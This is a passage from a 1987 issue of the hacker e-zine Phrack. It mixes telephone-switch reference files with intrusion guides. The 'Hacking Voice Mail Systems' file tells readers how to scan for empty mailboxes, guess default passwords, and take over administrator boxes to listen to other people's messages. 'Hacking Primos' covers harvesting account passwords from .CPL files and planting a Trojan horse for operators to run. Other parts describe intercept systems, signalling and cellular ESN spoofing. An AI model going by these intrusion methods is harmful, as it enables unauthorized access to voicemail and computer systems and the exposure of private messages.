TABLE A

_______________________________

| Access Code | Description of function |

|________________________|_____

| *2X ‑ *3X (x= 0‑9) | Growth to 2 or 3 digit codes |

| | (Future may call for these) |

| |

| *4X ‑ *5X ‑ *7X | Local Area Signalling Services |

| |

| *72 | Call Forwarding Activation |

| |

| *73 | Call Forwarding Deactivation |

| |

| *74 | 1‑digit speed dialing |

| |

| *75 | 2‑digit speed dialing |

| |

| #56 | Circuit Switched Digital |

| | Capability |

|________________________|_____

The subtranslator is always built 100 words long. A word is a binary code which, when sent as a whole, act as a command. One word is equal to a 2‑digit access code. This subtranslator contains the PTW (Primary Translation Word). The PTW contains the feature type subtype and feature subtype index to determine the function of the dialed code. The feature subtype allows four subtype tables to exist for feature type 31 (LASS). Index 0 is for LASS. Index 1 is used for LASS on a pay per usage basis. Index 2 and 3 are currently not used.

TABLE B (written in report form)

=================

Feature Type: 0 (Unassigned)

Feature Type: 1 (1‑digit abbr. dialing)

Subtypes: 0 (Speed Call)

1 (Change the Speed Call List)

2 (Invalid)

Feature Type: 2 (2‑digit dialing.)

Subtypes: (Same as Feature 1)

Feature Type: 3 (Circuit Switch Digital Capability)

Subtype: 1 (CSDC 56 kilo bit service)

Feature Type: 4 (Usage Sensitive 3‑way)

Feature Type: 5 (Cancel Call Waiting)

Feature Type: 20 (Call Forwarding Activate)

Feature Type: 21 (Call Forwarding deactivate)

Feature Type: 22 (Project Acct. Service (Autoplex))

Feature Type: 26 (Customer changeable Inter LATA carrier)

Feature Type: 27 (Voice/Data Protection)

Feature Type: 28 (MDS‑Message Desk Service)

Subtypes: 0 (MDS activation)

1 (MDS deactivation)

Feature Type: 30 (Residence Data Facility Pooling)

Feature Type: 31 (Local Area Signalling Services‑LASS)

[index 0]

Subtypes: 0 (AR‑Automatic Recall {Incoming Calls}) 1 (AR‑Outgoing calls)

2 (AR activation incoming/outgoing)

3 (AR deactivation)

4 (Customer Originated Trace Activation) 5 (Distinctive Alert Activation)

6 (ICLID activation)

7 (Selective Call Rejection Activation) 8 (Selective Call Forwarding activation) 9 (Private Call Activation)

10 (Distinctive Alert ‑OFF)

11 (ICLID‑OFF)

12 (SCR‑OFF)

13 (SCF‑OFF)

14 (Private Call‑OFF)

15 (Distinctive Alert ON/OFF) toggle for opposite 16 ICLID toggle on/off

17 SCR toggle on/off

18 SCF toggle on/off

19 Private Call on/off

20 Selective Call Acceptance‑ON

21 SCA OFF

22 SCA toggle on/off

23 (Computer Access Restriction) on

24 CAR off

25 CAR on/off

26‑31 (reserved for future LASS functions)

Index 1 Pay Per View

subtype: 0 (Order placement)

1 (Order Cancel)

The PACT function is extremely important for LASS functions. PACT is what lets you tell your switch what you want done. Without the PACT, communication between you and your CO would not exist. PACT is the base foundation for the use access codes.

===============================

= If you have any questions or comments, please leave mail = = either on Phreak Klass Room 2600 or at 214‑733‑5283. =

===============================

= (c) The Executioner/PLP/TNT =

Hacking Voice Mail Systems

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #4 of 12

+=+=+=+=+=+=+=+=+=+=+=+=+=+

+=+ Hacking Voice Mail Systems +=+ +=+ Written for Phrack XI +=+ +=+ by:‑> Black Knight from 713 +=+

+=+=+=+=+=+=+=+=+=+=+=+=+=+

Voice Mail is a relatively new concept and not much has been said about it. It is a very useful tool for the business person and the phreak. The way it works is that somebody wishing to get in touch with you calls a number, usually a 1‑800, and punches in on his touch‑pad your mailbox number and then he is able to leave a message for you. Business experts report that this almost totally eliminates telephone tag. When a person wishes to pick up his message all he needs to do is call the number enter a certain code and he can hear his messages, transfer them, and do other misc. mailbox utilities.

Most VMSs are similar in the way they work. There are a few different ways the VMSs store the voice. One way is that the voice is recorded digitally and compressed and when heard it is reproduced back into the voice that recorded it. Another method that is slower and uses more space, but costs less, stores the voice on magnetic tape, the same type that is used to store data on a computer, and then runs the tape at a slow speed. Using this method the voice does not need to be reproduced in any way and will sound normal as long as the tape is running at a constant speed. On some of the newer VMSs the voice is digitally recorded and is transformed from the magnetic tape at about 2400 bits per second.

There are many different types and versions of voice mail systems. Some of the best and easiest to get on will be discussed.

Centagram

‑‑‑‑‑‑‑‑‑

These are direct dial (you don't have to enter a box number). To get on one of these, first have a number to any box on the system. All of the other boxes will be on the same prefix; just start scanning them until you find one that has a message saying that person you are calling is not available. This usually means that the box has not been assigned to anybody yet. Before the nice lady's voice tells you to leave the message, hit #. You will then be prompted for your password. The password will usually be the same as the last four digits of the box's number or a simple number like 1000, 2000, etc. Once you get on, they are very user friendly and will prompt you with a menu of options. If you can't find any empty boxes or want to do more, you can hack but the system administrators box, which will usually be 9999 on the same prefix as the other boxes, will allow you to hear anybody's messages and create and delete boxes.

Sperry Link

‑‑‑‑‑‑‑‑‑‑‑

These systems are very nice. They will usually be found on an 800 number. These are one of the hardest to get a box on because you must hack out a user ID (different from the person's box number) and a password. When it answers, if it says, "This is a Sperry Link voice station. Please enter your user ID," you will have to start trying to find a valid user ID. On most Sperrys it will be a five digit number. If it answers and says, "This is an X answering service," you first have to hit *# to get the user number prompt. Once you get a valid user number will have to guess the password on most systems, it will be 4 digits. Once you get in, these are also very user friendly and have many different options available.

RSVP

‑‑‑‑

This is probably one of the worst VMSs but it is by far the easiest to get yourself a box. When it answers you can hit * for a directory of the boxes on it (it will only hold 23). If you hit # you will be given a menu of options and when you choose an option you will then be prompted for your ID number. The ID number on an RSVP system will just about always be the same as the mailbox number, which are always only 2 digits.

A.S.P.E.N.

‑‑‑‑‑‑‑‑‑‑

The Aspen voice message systems made by Octel Telecommunications is in my opinion the BEST VMS made. To get a box on an Aspen, you need to find an empty box. To find an empty box, scan the box numbers and if one says, "You entered XXXX. Please leave a message at the tone," then this is an empty box. You next just press # and when prompted for your box number enter the number of the empty box and friendly voice of the nice lady will guide you through all of the steps of setting up your box. She first tells you what you can do with the box and then will prompt you with, "Please enter the temporary password assigned to you by your system manager." This password will usually be 4 digits long and the same as the box number like 1000, etc. Once you get on their are many things you can do. You can make a distribution list where if you want to leave a certain message to more than one person, you can enter the list number and all of the boxes on the list will get the message. You can also have the system call you and notify you that you have new messages. These systems also have what they call "Information center mailboxes" that are listen only and can also have a password on them so the person calling has to enter the password before he hears the greeting message. Aspen VMSs have a system managers mailbox that will just about give you total control of the whole system and let you listen to people's mail, create and delete boxes, and many other things.

Thank you for reading this file and if you would like to get in touch with me VIA VOICE MAIL call 1‑800‑222‑0311 and hit *2155.

//‑‑Black Knight from 713‑‑\\

| for PHRACK XI (1987) |

Simple Data Encryption or Digital Electronics 101

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #5 of 12

{Simple Data Encryption} <or digital electronics 101>

By:{The Leftist}

Prologue:

Well, it's been awhile since I've done one of my activities files. This time I've switched from chemistry to electronics. Hopefully, I will be writing more files similar to this one. Also, I have devised a more sophisticated encryption device, which I may release in the future

Do you run a BBS, living in fear that the "feds" are gonna log on, and fool you into giving them a password? Do you wish that you could limit exactly WHO logs onto your board? Well, this file is just for you..

Parts:

1:9 volt battery

1: 74hc/hct04 cmos hex inverter <about .50 cents>

Some basic knowledge of electronics might help, and some wire would be helpful too. If you want to be fancy you can even splurge and get a 9 volt connector.

Note: Although it is not required that you put this on an etched PC board, you can do this quite easily, and it makes for a much cleaner job.

Ok, the basic idea behind this scheme is this:

Data coming to and going from your modem is translated as 1's and 0's. This represents highs and lows, which translate out to code which your computer recognizes as valid data. Now, if you could switch all those 1's to 0's, and 0's to 1's, then you would have a simple way of encrypting your data. That's exactly what the hex inverter does. If it sees a 0, it makes it a 1. If it sees a 1, it makes it a 0. So, what you want to do is have an inverter on your send line, and an inverter on your receive line. The computer you are connected to must also have inverters on its send and receive, or all you will see will be garbage! I tried to be as non‑technical as possible in this for all you non‑technical types out there.

Connections:

Hold the chip, and look at it. There should be a little notch in one end. Hold it as illustrated in the schematic:

(80 columns)

______________________________

| |

14 13 11 12 10 9 8 |

| | | | | | | |

__________________ |

| | |_ to positive on battery

\ 74hc/hct04 |

/ |

|__________________| to negative on battery

| | | | | | | |

1 2 3 4 5 6 7______________|

| | | |

| | | |_______________________to computer port

| | |__________________________from modem

| |_____________________________to modem conn.

|________________________________from computer port

<all other pins are not connected>

Ok, hook the + 9volts up to pin 14, and the negative up to pin 7. There are 6 inverters on this chip. For this, we will be using only 2 of them.

Find the wire coming from your computer to the send data line on your modem. Sever this wire, and hook one side of it to pin 1. Hook the other end of it to pin 2. Next, find the receive data line, and sever it. Hook one end of it to pin 3, the other end to pin 4. That's about it.. if you want to use the other inverters on the chip, here's the complete pinouts.

Pin# Name and function

‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1,3,5,9,11,13 Data inputs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2,4,6,8,10,12 Data outputs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

7 Ground

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

14 VCC

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Remember, that your BBS modem must have one of these devices on it, as well as the user calling. I have tested this on Smartmodems, and it does work. If you

AIS - Automatic Intercept System

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #6 of 12

Taran King Presents...

AIS ‑ Automatic Intercept System

The DAIS II System by Computer Consoles Incorporated

INTRODUCTION...

~~~~~~~~~~~~~~~

Computer Consoles Incorporated (CCI) manufactures various hardware appliances to be used in conjunction with phone companies switches as well as other aspects of the companies' uses, plus computer systems such as their own Unix‑supporting systems.

DAIS II is the Distributed Automatic Intercept System, which is the system used to announce if the subscriber has dialed a non‑working number. This is what you hear, in action, when you dial a wrong number and get the 3 tones plus the announcement or the ONI (Operator Number Identification) intercept operator ("What number did you dial?").

The information from this file comes mostly from an instructional manual sent to me by CCI, who can be reached at 800‑833‑7477 or 716‑482‑5000 directly, or may be written to at 97 Humbolt Street, Rochester, NY, 14609.

INTERCEPTION

~~~~~~~~~~~~

Most definitely any person who has used a telephone in his life has, by some means or another, come across the dreaded 3 tones, leading up to the ever‑so‑cumbersome announcement telling of the disconnected or non‑working number. This file will go into how the whole system works. After dialing the non‑working number, the telco's Class 5 End Office routes the call to DAIS II.

ANI Calls

~~~~~~~~~

Provided that the End Office has Automatic Number Identification (ANI) equipment, the equipment then identifies the digits of the called number and sends them to the intercept system.

The system receives the called number from the end office, retrieves information for that number from the intercept database, formulates the message, and delivers it to the customer in an automated announcement. These announcements can either be standardized or tailored to the independent telephone companies' needs. If further assistance is required, the caller can then stay on the line and wait for an operator to come onto the line.

ONI Calls

~~~~~~~~~

When the End Office is primitive, and they don't have the ANI equipment to do the above ritual, operators are directly involved. These operators are also called into action when there is an ANI or DAIS II failure. When the ONI (Operator Number Identification) call comes in, DAIS II routes the call to the operator. The operator asks for the number that the customer called and then keys it into her KDT (Keyboard Display Terminal). After she hits the command key, the number's information is searched for in the intercept database, the message is formulated, and the automated response is announced. Once again, if the caller needs further assistance, an operator will return to the line to help the subscriber.

Operators will return to the line for any number of reasons. They include the following:

Unsuccessful Searches ‑ After DAIS II receives the called number from ANI equipment or from an operator, it searches the database to find the intercept message associated with the telephone number. The database contains all 10,000 line numbers for each exchange in the calling area. If the system cannot complete the search, the number was either keyed in incorrectly or there is a problem in the system. The call is then routed to an operator and displays the intercepted number (including NPA) on the KDT screen along with a message indicating why the search could not be completed. If the number was keyed in wrong, the operator will correct the number, or else she will ask the subscriber to re‑dial the number.

Aborted Announcements ‑ If a search is given successful but for one reason or another the automated announcement cannot be given, the call is routed to an operator. The KDT display shows the intercepted number, the appropriate information for a verbal response, and the message, "VERBAL REPORT." In this case, the operator quotes the message to the caller rather than activating the automated response.

Reconnects ‑ If a customer remains on the line for more information after receiving the automated announcement, the system routes the call to an operator. The operator's KDT display shows the called number plus other pertinent information given to the caller in the previous announcement. From here, the operator can respond verbally to the customer's needs, or activate the automated system again. The DAIS II system allows up to 4 reconnects per call, but the possible number of reconnects available ranges from 0‑3. With 1 reconnect, the operator must report verbally. Split Referrals ‑ If a number has been changed but replaced with two numbers, this is called a "split referral." When the database finds 2 or more numbers, the DAIS II system routes the customer to an operator, displaying the old number and new listings on the KDT screen. The operator then asks which number they are looking for and keys in the command key to activate the announcement, or else they do the announcement verbally.

Operator Searches

~~~~~~~~~~~~~~~~~

Situations may arise where the subscriber needs more information than was given by the automated announcement, or believes the information to be invalid. DAIS II provides for operators to have access to both the intercept and the DA databases at all times as long as the system administrator, who judges the extent to which operators can use the cross‑search capability, allows it.

Components Of The System

~~~~~~~~~~~~~~~~~~~~~~~~

The telco's Class 5 End Offices contain switching equipment that routes calls to DAIS II. If the office has ANI equipment, the switch routes the called digits to the intercept system in the form of multi‑frequency tones. The end offices route calls to DAIS II on dedicated (direct) trunks. These direct trunks can carry ANI traffic or ONI traffic, but not both.

If trunk concentrators are used, the concentrator trunks to DAIS II may carry ANI calls, ONI calls, or both, depending on the types of trunks coming into the concentrators from the end offices. The call is identified as ANI or ONI through MF tones transmitted by the concentrators.

If an operator must be involved (due to ONI or further assistance), DAIS II routes the call to the telco's ACD (Automatic Call Distributor), which is a switching device that routes calls to any available operator.

The intercept data base resides on disk in the ARS (Audio Response System). ARS processors known as Audio Response Controllers (ARCs) search the intercept database. If a call requires an operator's services, the Marker Decoder Unit (MDU) provides ACD routing information to the ARC.

The DAIS II Automatic Intercept Communications Controllers (AICCs) route messages between the ARCs and the DAIS II subsystems. An intercept subsystem that is housed at the same location as the database is called a Colocated Automated Intercept System (CAIS). A subsystem located at a distance from the database is known as a Local Automated Intercept System (LAIS). Each subsystem can provide automated announcements without using expensive trunking to route ANI calls to a centralized intercept office. Only calls that require operator assistance are routed on trunks to the ARS site. Because those trunks are only held white the operator identifies the number and are released before the announcement begins, trunk requirements are reduced. The automated announcement is always given by the intercept subsystem.

Each CAIS or LAIS site contains a Trunk Time Switch (TTS) and DAIS II Audio Response Units (DARUs). Intercept trunks from the concentrators and the Class 5 End Offices terminate at the TTS. When an ONI call comes in on one of these trunks, the TTS routes it to the ACD. When an ANI call comes in, the TTS routes the called number to the ARC. After the ARC retrieves the appropriate message from the database, it sends that information back to the TTS, which connects a DARU port to the trunk on which the call came in. Then, the DARU produces an automated announcement of the message and delivers it to the caller. ARS hardware generates only DA announcements whereas DAIS II hardware generates only intercept announcements.

Automatic Intercept Communications Controller (AICC)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The AICC routes messages between the ARC and the TTS. Two units are required to enhance system reliability. Each pair of AICCs can communicate with up to 4 CAIS or LAIS subsystems.

The AICCs are similar to the Audio Communications Controllers (ACCs) in the ARS system, but AICCs use a Bisynchronous Communications Module (BSCM) instead of a LACIM.

An AICC can be equipped with up to 8 BSCMs, each of which handles one synchronous communication line to the TTS. The BSCM models selected depend on the location of the AICC with respect to the CAIS/LAIS sites. Standard SLIMs (Subscriber Line Interface Modules) are required for communication with the ARC.

Trunk Time Switch (TTS)

~~~~~~~~~~~~~~~~~~~~~~~

The TTS has two types of components: the Peripheral Modules (PMs) and the Common Controls (CCs).

The PM contains the printed circuit boards that provide the link between the end office's ANI trunks and the ARC and between the ONI trunks and the ACD. The activity of the PM is under direction of the CC

A PM rack contains five types of circuit boards: Multi‑frequency Receivers (MFRs), Analog Line Front Ends (ALFEs), T1 Front Ends (T1FEs), Peripheral Module Access Controllers (PMACs), and Multi‑purpose Peripheral Devices (MPPDs).

The MFRs translate the intercepted number from multi‑frequency tones to ASCII digits for ANI calls; for ONI calls that come through a trunk concentrator, the MFRs translate the tones sent by the concentrator to indicate an ONI call. Based on the tones, the MFR determines the type of call: regular, trouble, etc.

ALFEs convert incoming analog data to digital form so that it can be switched on the digital network. They also convert outgoing digital data back to analog. Incoming ALFEs provide the link between the TTS and the analog trunks from the Class 5 End Offices. Outgoing ALFEs provide the link between the TTS and the analog trunks to the ACD.

ALFE is subdivided into two types for both incoming and outgoing: ALFE‑A (contains the control logic, PCM bus termination, and ports for 8 trunks) and ALFE‑B (contains ports for 16 trunks, but must be paired with an ALFE‑A in order to use the control logic and PCM bus on the backplane). ALFE‑As can be used without ALFE‑Bs, but not vice versa. Incoming ALFEs support E&M 2‑wire, E&M 4‑wire, reverse battery, and 3‑way signalling trunks. Outgoing ALFEs support E&M 2‑wire, reverse battery, and high‑low trunking.

T1FEs provide the links between the TTS and the D3‑type T1 spans from the end offices. They also link the DARU VOCAL board ports and the TTS. Each board has 24 ports in order to handle a single T1 span which carries 24 voice channels.

PMAC is based on a Motorola 68000 microprocessor that directs and coordinates data flow within the PM.

MPPD boards provide bus termination and the system clocks for the digital network. The MPPD contains a master and a secondary clock, which are synchronized with the frequency of an incoming T‑1 span. The module also contains its own clock for use when T‑1 synchronization is not available or lost.

The MPPD also generates the ringing tones, busy signals, and reorder tones heard by the customer and sends the zip (alert) tone to the operator.

The CC controls the interaction between the PM components and the DARU. It contains the Office Dependent Data Base (ODDB), which is a system table that describes the configuration of the TTS. The CC uses the ODDB to determine whether an incoming call is an ANI or ONI trunk. The CC sets up paths through the digital network in order to coordinate the resources of the CAIS/LAIS. It receives messages from the PMAC, stores information necessary for returning a response to the appropriate trunk, and controls message routing to and from the ARC or the operator. It also synchronizes the TTS and the Directory Assistance System (DAS) for operator‑caller communications.

The CC is a Power‑series standalone processor that contains a central processing unit (CPU‑2), based on the Motorola 68000 microprocessor. The processor also contains distributed intelligence for controlling the memory subsystem, the IO (input/output) subsystem, and the disk/tape subsystem. Each CC includes a Winchester disk drive, a quarter‑inch tape drive, and additional miscellaneous hardware.

DAIS II Audio Response Unit (DARU)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The DARU contains the VOCAL boards that produce automated announcements, which are compiled from a vocabulary stored in RAM. A CAIS/LAIS contains 1 to 3 DARUs, each with 48 ports.

If a CAIS/LAIS houses more than one DARU, the units are multi‑dropped together. One DARU is always linked to the ARCs (either directly or by modems and telephone lines) so that the announcement vocabulary can be downloaded from the ARCs if necessary.

:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=

Much of the information in this file is copied verbatim from the instructional booklet sent to me by CCI. Their documentation is extremely in‑depth and well written, and, with some looking over, is easy to understand. Much of the information in here is confusing with all of the acronyms used as well as technical terms, but if you cross‑reference acronyms throughout the file, you should be able to see what it stands for. Also, if you don't understand what something does, just think of it in terms of use by the telephone company in the context used and you can generally get an idea of what it does or is used for. I hope you enjoyed this file and continue to read Phrack Inc. files to learn more about the system we use and experience. Any constructive suggestions are welcomed directly or indirectly.

Taran King

Hacking Primos I, II, III

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #7 of 12

‑#‑#‑#‑#‑#‑#‑#‑#‑#‑#

!

# Hacking Primos I, II, III #

!

# (I&II Revised) #

!

# By Evil Jay #

!

‑#‑#‑#‑#‑#‑#‑#‑#‑#‑#

Author Note:

Ugg! I looked at my first file after it was released and saw a lot of misspellings, errors and other screw‑ups and was completely embarrassed. I did not have time to edit the file and I was also writing the second file which dealt with gaining privileges. I threw these two files at Taran King who in turn merged them together. So I humbly apologize for all of the errors in the last file. In this file I will revise the old file and continue with some more methods of gaining access and also list out some very basic commands for beginners. As I said before, if you have any questions you can reach me on any board I am currently inhabiting. Hope to hear from you...

*** Gaining Access From Scratch ***

I made a mistake in my last file and stated that FAM was not a default. FAM is a default, but it can be taken out by the system administrators.

To get a listing of every possible account on a system, it is really quite easy. They are located in the MFD directories. Type:

A MFD <MFD #> (Without the "<" and ">" signs)

Or just:

A MFD

Then type LD and hit return. Now, you will see a listing of files and underneath should be a listing of directories appropriately named Directories. These directories are valid User IDs. However, I believe that directories that have an "*" character in them cannot be logged in to.

*** Getting Higher Access Revised ***

SYS1 is the highest system level there is. Meaning unless commands have to be entered from the supervisors terminal, you can usually do anything with an account that has SYS1 access. Also, I should clarify that SYS1 will not always be the name of the highest access available. It could be named SYSTEM or anything for that matter.

You are looking for a file with the extension .CPL ‑ look for this file under any of the SYS1 directories. When you find one, SLIST it. You are looking for a line similar to:

A <DIRECTORY NAME> <PASSWORD>

It could look like:

A LIB XXX

LIB is the directory (user id) name.

XXX is the password to that directory (user id).

When you have this, log into that account with the directory name and password. If your lucky you'll gain access to that account. I have noticed that a lot of high access accounts sometimes have the password XXXXXX or X. Try these, I am unsure as to whether they are actual defaults or not.

Ah, the revision is done! Now some more ways to gain access...

*** The Trojan Horse ***

Providing you have access, you may or may not be able to edit a file in a high access directory. If you can't then try the above technique and try to hack a higher level account.

You will first want to learn the Command Processing Language (CPL). Type HELP CPL for a list of commands and then play around and try to write your own programs. If you don't have a manual handy, look at other CPL programs in other directories you can access. Once you know CPL, all you have to do is edit a CPL file in a high access dir. Add your own high level commands to the program. Then replace the old file, logoff and wait until the operator(s) decide to run your program. Hopefully, if everything goes well your routines will help you with whatever you wanted. However it would be a good idea to have your TH write a file to your directory telling you whether it has been ran or not. I will discuss different Trojan Horses in later issues of Phrack.

Once on a Prime it is pretty easy to get other accounts so don't worry about it. Just worry about getting on in the first place. Patience is definitely required since many systems (particularly versions 19 up) tend to hang up after the first invalid id/password combo.

*** Basic Commands For Beginners ***

This is a list of basic commands you can use once on a Prime system. I will not go in‑depth on a command, because you can do that for yourself by typing:

HELP <COMMAND NAME>

SLIST <FILENAME>

This will list out the contents of a file on a directory. Type in the full file name (plus extension).

ATTACH <DIRECTORY NAME>

This will attach you to another directory. For a full explanation type HELP ATTACH.

LD

This will list all the files and subdirectories in a directory.

RLS ‑ALL

Commands add up on the stack, and eventually after a pre‑determined amount of commands you will get a message telling you that you are "now at command level XX". This command will release all those pent up commands in the stack.

CPL <FILENAME>

This will run a file with the extension ".CPL".

COMINPUT <FILENAME>

This will run a file with the extension ".COM"

SEG <FILENAME>

This will run a file with the extension ".SEG"

STATUS USERS

This will give you a listing of users and other information currently on the system.

STATUS

This will give you the status of the system and other information.

EDIT (Or ED)

This is a text editor.

CHANGE_PASSWORD <OLD PASSWORD>

Does just what it says it does.

DELETE <FILENAME>

Deletes a file.

LOGOFF

I think this is pretty obvious.

LOGIN

This will log you out and take you back to the login process, providing there is no logins‑over‑logins set by the administrators.

This is a very small list, but will probably help the beginner greatly when he/she first logs on. Hope you enjoyed this issue...Look for Hacking Primos Part IV in Phrack, 12. Mebbe'.

‑#‑#‑#‑#‑#‑#‑#‑#‑#‑#

!

# A Phrack,Inc #

!

# Presentation #

!

‑#‑#‑#‑#‑#‑#‑#‑#‑#‑#

Telephone Signalling Methods

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #8 of 12

Telephone Signalling Methods

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Written by Doom Prophet

This file explains the basic signalling methods in use by the telephone system and is intended for general understanding. The text that follows is not highly technical since this file is for basic understanding and aimed at less experienced phreaks. Still, the more experienced readers may want to read it as a review on the information.

Analog‑‑Analog signals are those that have continuously and smoothly varying amplitude or frequency. Speech signals are of this type when you consider tone, pitch and volume levels that vary according to the person speaking. When a person speaks into the transmitter on a telephone, the voice signals are made up of acoustical energy, which are then converted into electrical energy for transmission along a transmission medium.

Analog carrier facilities may operate over different media, such as wire lines, multi‑wire cable, coaxial cable, or fiber optic cable. Copper wire is the most commonly used for subscriber loops.

A technique that allows for many signals to be sent along the same transmission path is called Multiplexing. Analog signals use Frequency Division Multiplexing or FDM.

Digital‑‑Instead of the voice signal being processed as an analog signal, it is converted into a digital signal and handled with digital circuits throughout the transmission process. When it arrives at the CO that serves the called telephone, it is converted back to analog to reproduce the original voice transmission.

Pulse Code Modulation or PCM is when the binary signal is transmitted in serial form. Binary coding represents bits or binary digits at 0 and 1 levels. These levels have a definite time relationship with one another. Time Division Multiplexing or TDM is the type of multiplexing, sometimes abbreviated as MUX, done for digital transmission.

Metallic‑‑Metallic facilities carry only one Voice Frequency (VF) channel. Typically, a metallic facility is used to connect business or residential lines to a CO. Coaxial cable can be used to transmit both Analog and Digital signals as well as Metallic signals.

VF channels have a 4000 Hz bandwidth, from 0 to 4000 Hz. However, the in‑band range of the voice frequency is between 200 and 3400 Hz. Signals that are out of this frequency range but still within the VF channel are out of band signals. A supervisory equivalent to 2600 for out of band is 3700 Hz. The amount of VF channels vary according to the transmission facilities that are being used.

CCIS (Common Channel Interoffice Signalling) is where control or supervisory signals are sent on a separate data link between switching offices. CCIS links operate at 4800 bps, or baud. Signal Transfer Points in the switch send the supervisory information over the dedicated link. This prevents supervisory tones from subscriber stations to register with the telephone network as a change in trunk status.

Reverse Battery Signalling‑ When the called end answers, the polarity and condition of the Ring and Tip leads is reversed to indicate the status of the connection. Conditions for a call being placed, but not yet answered, is ground on the Tip and battery (the CO battery current is flowing through) on the Ring. When the called party answers, by the action of relays in the switching equipment, current is reversed in the calling subscriber loop and battery is placed on the Tip and ground on the Ring, which remains during the talking.

E and M‑ Leads connecting switching equipment to trunk circuits are termed the E and M leads, for receive and transmit. The E lead reflects the far‑end or terminating end condition of the trunk. Ground on the E lead indicates that a signal has been received from the other end. The E lead is open when the trunk is idle. The M lead reflects the the near end condition of the trunk. It is grounded when the trunk is idle, and goes to battery condition when the called party goes off hook. Long interoffice and short haul toll trunks use this signalling method.

It should be noted that AC signalling is Alternating Current, and is used on the intertoll network, and interoffice and short haul toll trunks. DC, or direct current, is used on two wire or intraoffice connections, and local interoffice trunks.

Single Frequency (SF)‑ Single Frequency is an in‑band 2600 Hz signalling system. When a four wire trunk is idle, and is equipped for SF in band signalling, a 2600 Hz tone is being transmitted in both directions. When the trunk is seized at an originating position, the M lead is changed from ground to battery state. This removes the 2600 Hz supervisory tone from the outgoing trunk pair. The loss of the 2600 Hz will be detected at the far end by the SF signalling unit, changing the far end E lead condition from open to ground, causing switching equipment to function. When ground is restored to the M lead, replacing 2600 on the near end trunk, the pulsing of address information begins.

Multi‑Frequency (MF)‑ The MF pulsing method uses AC signals in the voice frequency range, and transmits address information between COs by combinations of only 2 of 5 frequencies. MF is used for the sending of address information, as mentioned before. Other signalling methods are still required for trunk control and supervision. There are six MFs comprising MF codes. These are 200 Hz apart in the 700‑1700 range. Two frequencies are sent at once, thus explaining the term 'Multi frequency.'

MF pulsing is initiated by manual keysets and the TSPS switchboard, or by MF outpulsing senders in ESS and Xbar. MF pulsing is very rapid and only occurs when a connection is being established. KPs, or Key Pulses, are used as a signal to start MF pulsing. STs, or STart tones are used as a signal to indicate the end of MF pulsing.

As an example of MF signalling, take a toll switchboard trunk connected to a Xbar Central Office. The operator selects an idle trunk, and presses the KP button on the keyset to signal the distant sender or register link equipment to connect to a MF receiver. The S lamp on the keyset will light when the far end is ready to receive MF pulses. After keypulsing the digits of the called number, the operator presses the ST button, which indicates the end of pulsing and disconnects the keyset from the operator's cord circuit and extinguishes the KP and S lamps.

At the terminating CO, the two MF tones of each digit are amplified and limited in the MF receiver unit associated with the incoming sender and register circuit. The frequencies are selected by channel filters in the MF receiver and then detected. The DC voltage that results will operate the proper channel relays to continue with the process of placing the call.

Cellular Spoofing By Electronic Serial Numbers donated

==Phrack Inc.==

Volume Two, Issue Eleven, Phile #9 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is reprinted from the November 1985 issue of Personal Communications Technology magazine by permission of the authors and the publisher, FutureComm Publications Inc., 4005 Williamsburg Ct., Fairfax, VA 22032, 703/352‑1200.

Copyright 1985 by FutureComm Publications Inc. All rights reserved.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE ELECTRONIC SERIAL NUMBER: A CELLULAR 'SIEVE'? 'SPOOFERS' CAN DEFRAUD USERS AND CARRIERS

by Geoffrey S. Goodfellow, Robert N. Jesse, and Andrew H. Lamothe, Jr.

What's the greatest security problem with cellular phones? Is it privacy of communications? No.

Although privacy is a concern, it will pale beside an even greater problem: spoofing.

'Spoofing' is the process through which an agent (the 'spoofer') pretends to be somebody he isn't by proffering false identification, usually with intent to defraud. This deception, which cannot be protected against using the current U.S. cellular standards, has the potential to create a serious problem‑‑unless the industry takes steps to correct some loopholes in the present cellular standards.

Compared to spoofing, the common security concern of privacy is not so severe. Most cellular subscribers would, at worst, be irked by having their conversational privacy violated. A smaller number of users might actually suffer business or personal harm if their confidential exchanges were compromised. For them, voice encryption equipment is becoming increasingly available if they are willing to pay the price for it.

Thus, even though technology is available now to prevent an interloper from overhearing sensitive conversations, cellular systems cannot‑‑at any cost‑‑prevent pirates from charging calls to any account. This predicament is not new to the industry. Even though cellular provides a modern, sophisticated quality mobile communications service, it is not fundamentally much safer than older forms of mobile telephony.

History of Spoofing Vulnerability

The earliest form of mobile telephony, unsquelched manual Mobile Telephone Service (MTS), was vulnerable to interception and eavesdropping. To place a call, the user listened for a free channel. When he found one, he would key his microphone to ask for service: 'Operator, this is Mobile 1234; may I please have 555‑7890.' The operator knew to submit a billing ticket for account number 1234 to pay for the call. So did anybody else listening to the channel‑‑hence the potential for spoofing and fraud.

Squelched channel MTS hid the problem only slightly because users ordinarily didn't overhear channels being used by other parties. Fraud was still easy for those who turned off the squelch long enough to overhear account numbers.

Direct‑dial mobile telephone services such as Improved Mobile Telephone Service (IMTS) obscured the problem a bit more because subscriber identification was made automatically rather than by spoken exchange between caller and operator. Each time a user originated a call, the mobile telephone transmitted its identification number to the serving base station using some form of Audio Frequency Shift Keying (AFSK), which was not so easy for eavesdroppers to understand.

